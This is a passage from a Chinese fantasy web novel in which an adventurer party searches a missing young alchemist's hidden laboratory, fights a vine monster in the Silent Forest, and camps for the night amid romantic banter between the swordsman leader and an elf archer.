“既然是冒险团,那我也没有什么可藏着掖着的,”利恩说,“维特平常经常会去失语密林,他需要在里边获取一些魔药来配制药剂,但是每次最多不会超过三天。” “但是这一次,他已经去了一周了。”利恩抬头看向他们,语气充满了担忧,“……米莉阿姨以为只有三天,但是他其实几天前就一直在密林里进进出出,不知道在做什么。” “他以前从不这样,现在更是已经整整三天没有出来了。” “这样啊……对了,这只猫你认识吗?”诺曼摸了摸下巴,然后指着趴在阿方索上的尼尼,问道。 “昨天去完尼尔利家,这只猫就神不知鬼不觉地爬上了我们弓手的斗篷,你认识他吗?” 利恩似乎才注意到尼尼,他看向阿方索肩膀上的毛茸茸。 尼尼懒懒地打了个哈欠。利恩看着他,尾巴轻轻晃了晃,但是最终还是摇摇头。 “我不认识。”他说,”不过维特有很多事连我也不知道,他经常进入密林,说不定是在密林里认识的,带 着的话说不定有用。” “这样吧,我先带你们去维特的研究室吧。”还不等他人开口,利恩便率先提议道,“他平时大部分时间待在那里,也是他进入密林之前最后停留的地方。说不定,会有些线索。” 冒险团几人互相对视一眼,最终,艾伯特点了点头。 作为维特常年所待的地方,并且和药剂有关,维特的研究室一定具有着他们目前没有发现,且与目标强相关的信息。 利恩言出即行。他带他们走上一条小路,路途七扭八弯。 令人惊奇的是,每次以为走到尽头、无路可走的时候,前方就会突然豁然开朗。 艾伯特拿着地图,看着实时记录的路线,又在每个拐点画下记号。 “其实,这个地方还是我和维特小时候一起玩的时候无意间发现的。”利恩边走边说,“开始是我们的秘密基地,后来,维特开始研究草药,我们就在这里搭了一个小屋,做他的实验室。” “别人怎么看,我不好说,但在我看来,维特是一个非常温柔善良的人,对家人也非常好……对我也是。” “如果非说有什么小缺点的话……嗯,可能,就是有点颜控?” 在利恩的回忆中,一行人距离目的地越来越近。 最终,他们到达了一个小屋。 小屋外表普通,看起来和普通的林间小屋没什么区别,甚至给人感觉有些破旧,周围长了一些异色的花花草草,泛着淡淡的荧光。 “这里是维特的实验室,他无论是工作还是研究,一般都在这里完成。”利恩拿出钥匙,解开了锁。 他边推开房门,一边解释道,“知道这个地方的人很少,维特做了一些措施,一般人也很少能发现这个地方。” 房门其实不算崭新,上面甚至沾有不少的灰尘,但是推开时,门板却连吱呀声都没有。 明显,这座屋子被精心打理过,或许还做了一些什么手段。 屋内与外面的破旧相异甚大,几个巨大的书架依次排列,上面密密麻麻摆满了书籍,整个屋内弥漫着草药与化学药剂的气味。 各种暗箱排在角落,一些上面贴着看不懂的标签,尽是复杂难辨的符号。 还有半幅手卷平铺在特制的书桌上,旁边堆满了密密麻麻形状各异的器材和手稿。 这种规格的配置器具,这样复杂的理论研究,连王都里的普通药剂学学生都不是所有都能做到。 很难想象,一个小镇的普通农民家的儿子怎么会有这样一个完备的研究室,又是怎么聚集起这些东西的。 “…自从他离开后,这里的东西我再没有动过半分。”利恩声音低沉,“他平时不喜欢让别人碰他的东西,不过他相信我。” “我有分寸,知道哪些该动,哪些不该动。” 他笑容有些苦涩,又有些温柔,“毕竟从小一起长大的嘛,维特平时对外人性格不太好,但是其实他是一个很负责的人,他是家中的长子,一直想着照顾家里。” “他很厉害,会很多大家不会的东西。”利恩沉默了片刻,又缓缓开口,“……我能帮他的,也只有这些平常的琐事。” “维特如果知道,应该不希望你这么想吧。”艾伯特安慰,“大家都说你是维特最好的朋友。” “嗯。”利恩颔首,“所以之和诸位有什么需要帮忙的地方,尽可能开口便是。” 他指了指书房旁边的小房间,“我平时都住在这里,一般出去也是在谷地附近,我听力很好,如果需要,喊我的名字就是。” 远方有一阵声音传来,他雪白的耳朵动了动,转头看向那边。 “……抱歉,维特父亲那边似乎有点事,我就先走了。”利恩礼貌地朝冒险团点了点头,“这里备用钥匙在第三个柜子的第五个抽屉的正下方的格子里,就交给各位了。” 他摆摆手离开了。 在利恩离开之后,梅茜缓缓走到书桌前,仔细研读着铺开的半幅手卷,妮娜也凑了过来。 “能在这样的环境研究出这样的成果,天赋与机遇缺一不可。”最终,梅茜感叹道,“虽然我不知道他遇到的是怎样的机遇,还是遇到的什么人,但是无论怎么说,这个叫维特的孩子,确实是一个天才。” “这样浓度的元素残留,只会在特级魔物里出现,”妮娜用小指轻轻在桌面上抹了一下,她皱眉,“而小镇附近,有条件产生特级魔物的地方只有一个。” “失语密林。” 几人异口同声地回答。 “看来,我们必须要走一趟失语密林了。”艾伯特目光坚定起来,他看向众人,目光缓缓划过,最后落在了阿方索身上。 精灵看见了艾伯特紫色瞳孔中自己的倒影。 他没有说话,只是同样轻而坚定地点了点头。 随时奉陪。 11. 密林 “手卷上记载了维特最近的记录。”妮娜垂眸着上面的文字,“他最近发现了一个名叫‘里伊索’的物质,这种物质可以在使用廉价原料降低成本的同时维持药效。” “甚至在某些时候,可以有青出于蓝而胜于蓝的效果。”梅茜补充道。 “他失踪的元凶估计就是这个,那些过于浓烈的元素来源估计也是。这样特殊的元素,只有特级魔物才可能拥有。” “所以他那些药剂生意就是这么来的?”分析道最后,妮娜忍不住拧眉,“这种物质连正式的研究报告都没有,万一有什么副作用呢?” “那不见得。”诺曼摇了摇头,“那位尼尔利做这个生意不是一天两天,既然能在这个手卷上有所记录,应该是最近才发现的,谁也不能确定他是否用在了卖出去的药剂里,说不定他还在研究。” 他笑了笑,“不过也不一定,毕竟谁会拒绝多赚钱呢?这种灰色生意,本来就是要承担更多的风险。” “愿赌服输,这一点,双方都清楚不过了。” “这个年纪敢研究这种全新物质,也算他有胆量。据我了解,这个领域目前还算空白,那群学院里的老头子要知道能高兴疯了。”善魔笑着绕了绕垂到锁骨边的小辫子,嘴角带着几分玩味。 “要是他还活着的话,说不定我能帮他写个推荐信,送他去学院发两篇论文。” “委托结束之后,怎么样都行。”艾伯特摇了摇头,“目前我们的任务,还是想办法尽快找到人才是最重要的。” “既然决定进入密林,那就要做好准备。”梅茜的手指抚上面前的手卷,“只要能找到那个源头,无论是好是坏,都能找到答案。先看看最近的有没有什么痕迹吧。” 善魔的手上的晶石手链无风自动,散出光芒,她低声念咒: 【昨日之失,今日之得,寻迹。】 一抹蓝光从她指尖与纸面的缝隙中透出,随后转成了模糊的雾态,如同炊烟一般袅袅升起,在屋内蜿蜒了几圈,又直直透出门去。 寻迹魔法,锁定物质的属性,寻找之前其留下的痕迹。 “还能这么做吗……我之前都用它找宿舍钥匙来着。”艾伯特看着烟雾,有点不好意思地挠了挠脸颊。 “你是剑士,而且这种特殊锁定物质不在你们的必修课里,过一段时间你们就看不见了,但是我能感受到,跟着我走就好。”梅茜望着烟雾的方向朝外看去,“不过小妮娜,你可以学学。” “多学点没坏处,还可以扩宽一下能力范围,法术和药剂有很多共通之处哦。”她朝着妮娜的方向努努嘴,“现在就业形势不好啦,不少好的药剂师,其实同时也是法师呢。” “这是属于过来人血的经验之谈吗?”诺曼笑嘻嘻打岔。 梅茜冷冷地瞥了他一眼,哼笑了一声,没有回答。 妮娜自从梅茜开始施展魔法就一直盯着她,看得很认真,似乎想要记住每个细节。 听到善魔的话,妮娜叹了口气。 “我要是做到你这样,还不知道要多久呢。”她声音有些低,“我不像你一样,能一直这么年轻,到时候,说不定都成老太婆了。” “人类的魔法储备不如一些种族是事实,但是仍然有一些伟大的魔导师存在,不是吗?”梅茜对她笑了笑,“我见过的最伟大的魔导师,就是人类呢。而且妮娜,你才十九,又会药剂和魔法,没有那么快衰老的。” “十九岁已经不小了。”妮娜说。 梅茜噗嗤一笑,“是吗?那我岂不是真成阿姨了?” “怎么才算小?”她指了指旁边的精灵,笑着说:“阿方索吗?你和他比?他还能活几千年呢,你现在看他是这样,你的曾孙看他也是这样。” 看见梅茜指他,精灵迷茫眨了眨眼睛,他想了想,也指了指自己。 还有他的事? “行啦。”诺曼苦着脸,“你要是不小了,我就真成大叔了。” “事不宜迟,赶紧出发吧。”说完,诺曼摆摆手,转身向门口走去,“毕竟委托可不等人。” 一行人按照地图走出了小路,在去森林的路上,他们又遇见了利恩。 “各位,这就出发了吗?”利恩抖了抖耳朵,“不再准备一下?” “时间紧迫。”艾伯特说,“我们有后勤,食物和药品这边也都有储备,不用担心。” “这样啊。”白色的犬兽人摇了摇蓬松的尾巴,“维特父亲这边还需要我帮忙,而且维特的生意也需要我来打理。我不会魔法,也帮不上什么忙,所以就不跟着去了。” “我之前听维特说,密林里魔物不少。”利恩的眼睛中满是担忧,“你们小心。” “这是我们应该的。”艾伯特点点头说,“我们会小心的。” 利恩向他们告别,身影逐渐远去。 阿方索看着他的背影,忽然摸了摸胸口的水滴晶石。 “怎么了吗?”艾伯特关心地询问。 “没什么。”阿方索摇了摇头,“只是,有点,不对。” “哪里难受了吗?要不要休息一下?”艾伯特语气有些急切。 尼尼也叫了一声,似乎在关心。 “不。”阿方索摇摇头,放下了胸口上的手,他转头看向艾伯特,“我们,走吧。” 艾伯特仔细打量了一下他,确认精灵真的没事,才犹豫着点点头。 进入密林之后,环境不复谷地的宁静。耳边时不时传来鸟鸣、虫吟以及各种奇怪的叫声。 目之所及尽是未知,视野也变得逼仄起来。 毕竟是第一次出委托,艾伯特和妮娜难免都有一些紧张,变得格外沉默。 除了梅茜偶尔会简单介绍碰到的植物和动物,和诺曼的大惊小怪,路上基本没人说话。 艾伯特深吸一口气,掩饰内心略微的慌乱,他偷偷看向旁边的精灵。 阿方索倒是看不出来有什么紧张,不过也看不出来有什么兴奋。 他目光有些放空,不过就是正常走着,随着步伐的移动,耳环也轻轻晃动。 尼尼好奇地伸出爪子,挠了挠精灵耳边的金环。 “别碰。”阿方索伸出手指,轻轻抵住猫儿的爪子。 “痒。” 艾伯特看着他们的互动,嘴角微抿。 啊,好羡慕。 不过这么说,阿方索耳朵很敏感吗?精灵耳朵是和人类不同,长长尖尖的,但是很好看呢。 冬天的时候,不带耳罩会冷吗?话说有专门为精灵设计的耳罩吗?似乎没听说过呢。 正好他会一点针织,到时候可以给阿方索做一个,不知道,他会不会喜欢呢? 虽然是胡思乱想,但是心情也莫名放松了很多。 冒险团也正循着烟雾前进。突然,周围的环境安静下来,连风都消失了踪影,氛围死寂得诡异。 阿方索第一个停下脚步,木弓闪现到他的手中。他抿起唇,警惕地观察着四周。 “情况不对。”梅茜迅速判断,她握紧了手边的手杖。 几人聚拢在一起,西北方向,传来枝条耸动的簌簌声,一条藤蔓从草丛间探出头来。 “藤蔓魔兽?”诺曼皱眉,“这个程度,至少是A级了。” “开门红啊。”他苦笑了两声,“运气是不是有点太好了?” “备战!”艾伯特轻喝。 “阿方索,你把尼尼给妮娜,她在中间。” 阿方索迅速拎起肩上的小猫,丢给妮娜,妮娜接过,将小猫和药剂箱一起紧紧抱在怀里。 霎时,无数根枝条从四面八方袭来。 阿方索跃上旁边的枝干,躲开了袭击,藤蔓无法捕捉到精灵的身影,只能无能狂怒。 他在树枝上偶尔停留,张开弓弦,数箭齐发,无数扭动的绿色也随之跌落。 妮娜跪坐在中间,一只手紧紧地把猫按在自己身边,另一只手颤抖地打开药箱,在其中翻找着可以使用的药剂。 她把一瓶泛着银绿色光芒 的药剂快速拧开,向藤蔓奋力泼去。沾到药剂的藤蔓攻击的速度立刻慢了下来,甚至有一些软软地耷拉在地上,再起不能。 梅茜嘴里念叨着听不清的咒语,周围开始出现各种各种的法阵。藤蔓不敢靠近,却没有被放过,原本深绿色的枝条变得焦枯,最终烧成灰烬。 诺曼在妮娜身边不远处,保护行李不被抢走,同时也为地上的其他三人争取时间,挡掉无法应付的攻击。 虽然还不算特别熟练和默契,但已经比想象中要好太多了。 特别是有那位来自上空的支援,不仅能解决掉大部分袭击,还能借助位置优势提供点位,实在是轻松很多。 艾伯特奋力挥剑斩断面前的枝条,攻势渐弱,他余光瞥见树上的精灵,嘴角不禁露出一抹笑意。 果然,阿方索真的好棒啊。 没有说其他成员不努力的意思,但是阿方索怎么能这么完美呢。 而就是这一瞬间的恍神,一根绿条猛地从视觉盲区穿来,直袭他的面门。 “小心!”诺曼焦急的声音传来。 艾伯特想要侧过身子躲开,但是那根藤蔓明显是攒足了最后的力气,以求奋力一击。 速度之快,少年已经来不及躲闪。 虽然这一击不至于致命,但是真的打在身上,也有他受的。 艾伯特下意识闭上眼睛,但想象中的疼痛感却并没有袭来,取而代之的是身体一轻。 他再度睁眼,发现自己自己被人抱在怀中。 那人一只手托起他的腿弯,另一只手则扶住后背,带他躲开了那道本应避无可避的攻击。 艾伯特的脸颊紧紧贴着对方的胸膛,感到温暖的温度传来,他能闻到对方身上淡淡的草木气息,甚至能隐约感受到心脏的律动。 是阿方索。 他昂起头。 即使从这个角度看,也是毫无挑剔之处的相貌呢。 羽饰遮住半眼,耳边的金环微动,线条优美的下颌一览无遗。 艾伯特愣愣地看着眼前的精灵,感觉时间仿佛被拉长,而感官被无限度放大。 原来即使是他,也会拥有和自己一样的心跳,呼吸和体温啊。 阿方索看见藤蔓向艾伯特袭来,来不及多想,他松开手中的弓,木弓自动回到他的背后。 阿方索纵身一跃,抱起了年轻的团长。带着艾伯特躲开攻击后,精灵在树木间轻盈地穿梭,寻找落点。 他一边躲闪,一边注意着战况。梅茜的法杖中孕育出雷电,将最后一根冲来的藤蔓也击落成灰。 见其他三人已经击退了敌人,情况安全,精灵便抱着艾伯特,稳稳地落在了地上。 已经没事了。精灵轻轻喘了一口气。 但是怀中人似乎没有要动的意思。 精灵低下了头,对上了那双紫红色的精灵,对方正直直地盯着他,似乎没有要离开的意思。 在众人的注视下,艾伯特握剑的手微微松开,手中的剑当啷一声落在地上,但是明显没有得到主人的注意。 艾伯特没有去捡起掉在地上的剑,相反,他缓缓抬起手,双手紧紧捂住了嘴,脸上漫上可疑的绯红,眼神迷离。 他直直看着抱着自己的人,浑身上下都在冒粉红泡泡,瞳孔都要变成爱心的形状了。 诺曼看见阿方索带艾伯特躲开,藤蔓也被击退,刚松一口气,就看到自家团长对着自家弓手在犯花痴。 还是在被人家公主抱的时候。 不是,人家公主抱也没有别的原因,单纯帮忙而已,都是男的,抱一下怎么了? 藤蔓都快成灰了,还赖着?怎么,不想下来了是吧? 特别是那少男怀春的样子。诺曼看见的时候,整个人顿时抖了一下,皮肤泛起鸡皮疙瘩。 他欲言又止,止言又欲。 终于,诺曼扶住盾牌,千言万语都化作一句无力的吐槽: “不是?” “至于这么……含羞带怯吗??” 12. 我剑 旁边的两位女士对此,表情也是十分精彩。 梅茜手里还握着魔杖,她看看那边还在弓手怀里的团长,抱着团长一脸情况外的精灵,又看了看身边的神情不妙的少女,神情也变得微妙起来。 “都这样了……还要啊?” 善魔忍不住戳了戳妮娜的手臂,小小声怂恿。 妮娜盯着眼前这一幕,贝齿紧咬,尼尼坐在她身边,悠闲地舔着爪子,似乎对人们的爱恨情仇和酸涩的感情毫无兴趣。 “他就是故意的。”最终,少女从牙齿里挤出几个字,“故意想让我死心。” “……但我是不会放弃的。” 听到妮娜的回答,梅茜神色复杂,似乎想说什么,但终究什么也没说。 有一说一,这话说的倒也没毛病,但是摸着梅茜的良心说,她觉得事实也绝不是妮娜想的那个意思。 善魔抬起手,往那两个少年的方向划了划,又向妮娜摊开了手,带着恨铁不成钢的无奈。 姑娘,都这样了。不说阿方索怎么样,艾伯特看起来是真的被抱美了。 何必呢?现在王都少年的行情这么差了吗?还是说真是饿了? 虽然艾伯特长得也算最养眼的那一批,家世和能力也不错,但也不至于这么坚持吧? 而那边,艾伯特对诺曼努力唤起他羞耻心的努力恍若未闻,精灵也没有催他,稳稳地抱着。 两个人就旁若无人地在那里单方面深情对视着。 该说不说,诺曼都不禁有些感叹精灵心理素质的强大。 虽然也有可能是阿方索真的不懂。 即使那散发着几乎化为实质的目光就怼在脸上,但身上的人既然没有下来的意思,精灵就仍然面无表情地维持着手臂。 阿方索其实没想什么,虽然不知道艾伯特为什么脸这么红,但是既然团长不下来,就一定有他的道理。 因为身高不同,也有骨架的原因,艾伯特的身形比他大一圈。 但是阿方索的力气其实比他看起来要大的多,而且他会魔法,抱着艾伯特也不是什么太难的事情。 ……但实话说,手臂,有点酸。 “你,要抱着?”想了想,精灵开口询问。 要是艾伯特不想走路的话,他可以做个滑板推着他,或者用魔法把艾伯特挂在身上也可以。 “可以吗?”艾伯特微微松开捂在嘴上的手,满脸羞红地问。 “不可以!”妮娜忍无可忍,她指着还抱在一起的两人,大声呵斥。 “问你了吗?”艾伯特放下了手,他转过头,脸色瞬间淡了下来。 妮娜被他的态度气得眼眶发红,她跺了跺脚,气得口不择言: “你……你们这对狗男男!” 艾伯特还来得及没回话,上方一道清澈悦耳的声音便先于他一步响起。 “我不是犬兽人。”精灵冷静地回答,话语意外地流畅。 妮娜憋的脸通红,气得浑身发抖。 梅茜没忍住,噗嗤一声笑了出来。 “行了行了。”善魔摆了摆手,“赶紧下来吧,别赖着了。趁现在天还亮着,抓紧时间赶路吧。” 她指了指旁边的小路,“那边有水源的气息,我们最好快点,不然天黑之后就麻烦了。” 话都说到这了,艾伯特虽然还有些依依不舍,但是也知道不能太贪心。 他轻轻拍了拍精灵的手臂,语气带着些许遗憾,小声说:“麻烦你了。” 阿方索点点头,他松开手,艾伯特也就自然地落在了地上。 尼尼看阿方索肩膀空了出来,毫不犹豫地跳了上去,占据了最轻松有利的位置。 站稳身体后,少年弯下腰,将掉在地上的捡起,抖了抖上面的灰尘,又神情自若地放回剑鞘。 把剑收回腰间,艾伯特握起拳,抵在嘴边,红着脸轻咳了两声,“刚才,真是多亏你了。” 他望着精灵,眼里的情意绵绵还没褪去,紫晶般的眸子里映着那张令人惊艳的容颜,再无半点其他。 “哦。” 精灵点点头,表示自己知道了。 “你还好意思待人家怀里不动,”诺曼没好气地瞪了艾伯特一眼,“也不看看你比人家高多少啊。” 艾伯特有些不好意思地摆了摆手,耳根还残留着可疑的红色,“情况紧急。” “是啊,紧急到剑掉地上都不知道。”梅茜笑眯眯地开口。 “掉就掉吧,反正我对它唯一的要求,就是能够切菜。”艾伯特摊了摊手,他迈开步子,“也就仅次于废铁了。” 一行人再次出发,梅茜在前面领路,其他人跟着她的身后,随着她的步伐前进。 “对了,艾伯特。”诺曼一边拨开面前的树枝,一边随口问,“既然你那把剑这么一般,为什么不换一把新的,你们家就看着你用着这把破剑这么多年?” “要不要找我买剑,亲友价,七折优惠哦~” “谢谢不了。”艾伯特秒拒。 诺曼遗憾地叹了口气。 “你们家也不缺这点钱吧?前段时间不还请那个什么最年轻的大魔导师温特·西索来做客吗?怎么没给你那把剑赐个福?” “……用不着。”艾伯特垂下眼帘,“我那时候不在家,而且那是家里邀请的,与我无关。” “……温特,是谁?”精灵忽然问。 “哦,阿方索你不知道吧。”诺曼转过头,对阿方索笑着解释,“他是目前最年轻的大魔导师哦,从小就很有名啦。” “我说过,我见过最伟大的魔导师是人类,那个人就是他。”梅茜展眉感叹,“真是绝无仅有的天赋啊。” “……真羡慕啊。”妮娜轻声附和。 “要是我能像他一样,就好了。” “肯特家也差不多啦。不过这个温特啊,倒是真的挺厉害的。” “长得帅,家世也好,公爵之子,听说小时候还是和王室的子女一起受教育长大的呢。”诺曼掰着手指,“就是听说脾气不太好,对谁都冷着个脸。” “不过也是,”诺曼笑嘻嘻地做了个夸张的动作,欢脱地说,“要是我有他这条件,我比他还狂。” “就那样吧……”艾伯特嘟囔说,“我之前在宴会见过他。” “反,反正,肯定没有阿方索好看……”看见阿方索的视线扫过来,艾伯特有些结巴,声音越来越低。 “谢谢。” “没事……”我说实话而已。 “对了,至于剑……可能是用顺手了吧,就不想换了。”艾伯特摇摇头,“虽然它锋利度比不上名器,也没法用药剂和普通魔法加持,但是我用习惯了,也就不想再换了。” 他摊摊手,“当年我还以为自己遇到奇遇了一下,结果就是一把普通的剑。” “什么奇遇?”妮娜好奇。 “捡的。”艾伯特移目。 “……至于轮到我就这么敷衍吗?!” “我又没说谎。”艾伯特闭了闭眼,又摊手,“就是捡的。” 他确实没说谎,这把剑就是捡的。 当年艾伯特十六岁,正式进入学院前,他需要给自己准备一把佩剑作为入学的必需品。 哪有剑士没有剑的。艾伯特从小到大换的剑少说也有十把,不是长高需要,就是练久导致断剑。 他本来打算去矮人的市集挑选一把,或者托人打造一把。 但是他那天刚起床,准备在早餐去花园里走走,这把剑就从天而降。 真的是物理意义上的从天而降,差点砸到他的头上。 当时艾伯特吓了一跳,捡了起来一看,发现还挺漂亮,感觉还是挺值钱的。 于是,他就拿着这把剑,将它送去了王都的失物招领处 ,然后回去吃早餐了。 争做王都文明市民,从你我他做起。 第二天,他再次出门,那把剑砸到了他的脚上。 艾伯特当时立即被砸清醒了,他唔了一声,又没吃早饭,好脾气地送了回去。 然后是第三次,第四次…… ……之后的事情也不用细说,总之,艾伯特留下了这把剑。 本来以为剑里有什么特殊的东西,毕竟哪有剑追着认主人的,可是这把剑就是这样莫名其妙,不仅没有任何魔法痕迹,还不能附魔。 艾伯特这人比较节约,反正也没有特别看好的佩剑,想着有一把就先用着,对外就说买的,也省得和其他人解释剑的来源。 其实他也想过,要是哪天这把剑坏了,就换把新的。 所以平时也没有特别保养,艾伯特甚至都没有给它起过名字,平时就很简单的叫它“我的剑”。 毕竟事实如此。 平时上剑术课,家世相近的同辈要么是神兵利器,要么有魔法附魔,更多的二者兼得。 艾伯特没想太多,遇见了就是缘分,差一点,就当练习了。 但是直到毕业,这把剑也一直没坏,甚至和艾伯特第一次见它的时候没什么区别。 这么看,至少耐久不错。 “什么剑拿久了都顺手,”眼见两人气氛有剑拔弩张的趋势,诺曼赶紧凑过来转移话题,“这剑连加持都加不上,你干嘛不换一个啊?” “但是它很好看啊。”少年团长认真地说,他特意抽出了一部分,把剑更清晰地露出来一些。 别说,细细打量,这把剑确实漂亮的不像样子,通体用银白色的金属铸造而成,剑柄上镶嵌着鎏金,部分呈水滴状。 剑鞘上还有藤蔓缠绕的暗纹,细看还泛着淡淡的绿色,最顶端还有一枚晶莹剔透的紫宝石,露出的剑身流光生辉,不似凡物。 可惜,按艾伯特的说法,它就是一把凡物。 凡器就凡器吧,至少它是真的好看。 “没想到你喜欢漂亮的啊?”诺曼调笑。 “不行吗?”艾伯特把剑回鞘,抬起头,“喜欢漂亮的东西是很正常的事情吧。” 不过,有些东西,无论漂不漂亮,最后都会喜欢上的吧。他在心里补了这么一句,又下意识看向阿方索。 ……不行,这个还是太漂亮了,光看着就不行了。 “而且,当时拿着它,我也能拿到剑术课第一了哦。”艾伯特心跳漏了一拍,他掩饰性地补充了一句。 说着说着,他就难免有点骄傲,紫红色的眼睛亮了起来,目光又飘到身边的精灵身上。 神态极似一只求偶的孔雀,努力地开屏,想向心仪的对象炫耀自己,每一片羽毛都闪闪亮,无言传递着“看看我看看我”的信号。 不忍直视。 阿方索对上他的眼睛,低头思考了一下,随后,精灵目光坚毅地对艾伯特重重地点了点头,表示肯定。 艾伯特笑的更灿烂了,浑身都散发着一种令人炫目的光彩。 行,真是同羽毛的鸟儿结伴飞,面包配黄油,绝配。 就在聊天的不知不觉间,天边出现一抹橙红色的霞光,如同画家随手涂抹的颜料,晕在云层中。 原本还算湛蓝的天空迅速转黑,森林的阴影也不知何时漫到了脚下,光线一点点变得深蓝。 诺曼停下脚步,也抬手示意其他人停下。 他打量了一下周围的环境,他们正处于山坡的中间,旁边有一条不大的小溪,溪水的三四十十米处,正好有一片灌木丛,旁边是一块平地。 “天色不早了,该扎营了。”诺曼对着众人说,“晚上的密林行动风险很大,我们又不了解这里的情况,容易得不偿失。” “那边的灌木丛旁边就有一片不错的空地,位置也好,咱们今晚就先在那里扎营吧。” 13. 夜谈 “没想到阿方索你还会抓小鱼啊。” 诺曼站在精灵旁边,看着尼尼大快朵颐,有些惊叹,“我还以为咱们今天荤菜只能吃烤肉干了呢。” “嗯。”阿方索正半跪着,手肘随意地搭在膝头。 他原本正在盯着进食的猫,听见诺曼的话,精灵抬起头,淡淡地应了一声:“之前,做过。” 诺曼眨了眨眼,之前做过? 精灵祖地有鱼他倒是不奇怪,只是,阿方索年龄这么小,族群竟然会让他去打猎吗? 不过也可能是兴趣使然? 诺曼还没来得及说什么,就被凑过来的少年打断了思路。 “阿方索,这是你抓的鱼吗?好厉害!”艾伯特抱着刚捡的木材,头探过来,一脸崇拜。 “还有。”精灵回答,“一会,一起。” “到时候我来烤鱼。”诺曼拍了拍手,“艾伯特,你也别闲着,赶紧捡柴,我也得去再加固一下帐篷,看看有没有什么问题。” “我可不想半夜被风吹醒,然后发现自己在草地上躺着。” “明显是你先摸鱼的吧。” 但话虽如此,艾伯特还是点了点头,只是临走前,他还不忘叮嘱。 “阿方索,你今晚守夜,趁现在也快休息一下吧。” “没事。”阿方索摸了摸尼尼的头,“我有办法。” 吃完精灵上贡的小鱼后,尼尼在阿方索给他堆的干草堆上翻了几个身。 干草柔软而干燥,毛毛蹭得很舒服,猫儿伸了个懒腰,开始打盹。 阿方索没有继续留在那里,他坐在篝火旁的树干上,看着艾伯特来来回回地搬运树枝,从其中挑拣合适的柴薪。 偶尔艾伯特询问他的意见,他就会仔细看看,然后点点头或摇摇头。 妮娜路过的时候,就正好看到阿方索坐在树干上发呆。 她被分配的任务是寻找一些浆果,顺便和梅茜一起看看有没有什么可以使用的草药。 刚才其实已经收集了不少,现在和善魔一起回来休息一下。 妮娜知道没有特别安排工作给阿方索,是因为他今晚要守夜。但是现在看精灵闲着的样子,她心里莫名不爽。 “阿方索,你去收集草药吧?”少女走到阿方索面前,叉着腰,对精灵扬了扬下巴。 此话一出,周围的人都停下了动作。 艾伯特正抱着木柴往这边走来,听见这话,立即面色变得不善。 梅茜原本正摆弄着几根刚摘的小花,心情不错。 听到妮娜的声音,她放下花,轻轻叹了口气。 又来。 精灵没有什么特殊的反应,他看了看周围,然后指了一下自己。 “我?”他问。 “对啊,你不是精灵吗?既然是精灵的话,做这些也很轻松吧?”妮娜双手抱胸,语气理直气壮,在场的人都能听出她语气中的不怀好意。 “连这些都做不到吗?” 是的,帮忙寻找一些简单的草药,对于天生具有自然亲和和身手矫健的精灵来说,自然不是什么艰巨的任务。 可虽然不是难事,但既然之前已经分配完工作了,那时谁也没有提出异议。 现在没有特殊情况就想临时出尔反尔,无论怎样都是不应该的。 妮娜在为难阿方索。 哪怕这个为难对于精灵来说也只是举手之劳,但是这不能掩饰为难的本质。 艾伯特把树枝扔在地上,刚要快步向前—— “不要。” 一道清澈的声音先至。 “不干。”精灵看着她,眼神平静地拒绝。 “你……你说什么!?”妮娜不可置信地瞪大了眼睛。 她没想到自己竟然会被拒绝。 精灵有点疑惑,没听清吗? 他又重复了一遍。 “不干。” 诺曼本来还有点担心,听见精灵的回答,瞬间又有点忍不住想笑。 他放下手中的帐篷,赶紧出来打圆场。 “哎呀,之前不是已经答应好了吗?你们现在也收集不少了,要是累的话,就去坐着歇歇吧。” 诺曼按着少女的肩,把妮娜转了个圈,好声好气,一边劝,一边把她推走,“妮娜,走吧,梅茜还在那边等你呢。” 妮娜脸色不好,一阵青一阵白,但是还是被推走了。 诺曼其实有些惊讶。 虽然是新生的精灵,哪怕外表看起来怎样清冷美丽,诺曼也一直觉得阿方索有些不谙世事,毕竟以前一直住在与世隔绝的精灵祖地,年龄又实在不大。 但是现在看来,也并不好骗啊。 说不干,就不干。 艾伯特把手捂在心口,眼睛亮晶晶地看着旁边的精灵少年,眼里冒出星星。 好有性情,好聪明,好可爱。 “虽然你什么都没有说,但是我已经猜到你在想什么了。”梅茜不知何时走到了他的身,面无表情地提醒,“你周围的空气都要变成粉红色的了。” 但即使如此,艾伯特仍然沉浸在自己的世界。 梅茜拿他没办法,又叹了口气,转身找妮娜去了。 夜色真正降临时,篝火已然搭好,点燃火焰的魔法不算难,梅茜一个响指就够了。 诺曼坐在最中间,左边是艾伯特和阿方索,右边是梅茜和妮娜。 他烤了几条小鱼,调味很简单,只撒了点盐,没想到味道竟然还不错,只有妮娜拒绝了,说自己不饿。 其实她只是不想吃阿方索抓的东西,而且她前不久刚刁难过鱼的来源,虽然最后没有成功,精灵也没有额外说什么,但是妮娜心里难免有些芥蒂。 闲着也是闲着,既然睡不着,既然就围着篝火漫无目的地攀谈,主要还是诺曼在聊。 聊着聊着,就谈到了理想型,冒险团几个人都是未婚,所以格外有兴趣一些。 诺曼嘿嘿一笑,率先开口。 “我喜欢的类型啊,那当然是好看的啊。” “最好能温柔一点,知性一点。”他的语气变得荡漾起来,开始幻想。“身材也要好,最好是那种有肉感的一些,摸起来手感……” “差不多得了,”梅茜抽了抽嘴角,“能不能要点脸,想点正经的吧。” “人家哪里不正经了嘛。这不都是人之常情。”诺曼佯作娇羞地反驳道。 梅茜被恶心了一下,打了个寒颤,摸了摸自己手臂。 “我的话,目前还没有想过那么多呢。”梅茜拨弄了一下颈上的魔法石串,“但是怎么也要和我差不多聪明吧,有点脑子,知道什么话该说,什么话不该说。太势利的话,也没什么意思。” “最后一句话,是在特指我吗?”诺曼的额角流下一滴汗水。 “是的。” “为什么这么直白地就承认了啊?!” 梅茜没有理会诺曼的哀嚎,她点了点腮,看向旁边的少女。 “小妮娜,你呢?” “我,当然是看我喜欢啦,”妮娜撑着腮,语气有点得意,又带点向往,“不过怎么样,家世不能太差吧?爸爸说过,门当户对很重要。” 她的眼神飘到绿发少年身上,意味明显。 艾伯特对上她的视线,沉默了一下,随后,他捡起身边的树枝,挡住了自己的脸。 “你干嘛啊?”妮娜有些恼羞成怒。 “没干什么,火太大了,”艾伯特语气冷淡,“你不想看就别看我就行。” “得了得了,”诺曼插话,“话说,艾伯特,好像从来没听过你说过,你喜欢什么样子的人啊?” “唔……我吗?”他歪了歪头,把树枝侧开了一些,“我不太在意门第啦…… “非要说的话,对我好?”少年的脸红了,变得有些支支吾吾,“头发长一点?好看一点……?呃……” 说着说着,他就有些不好意思地低下了头。 诺曼坏笑:“害羞了,你也太纯情了,不会真的连人都没有喜欢过吧?” 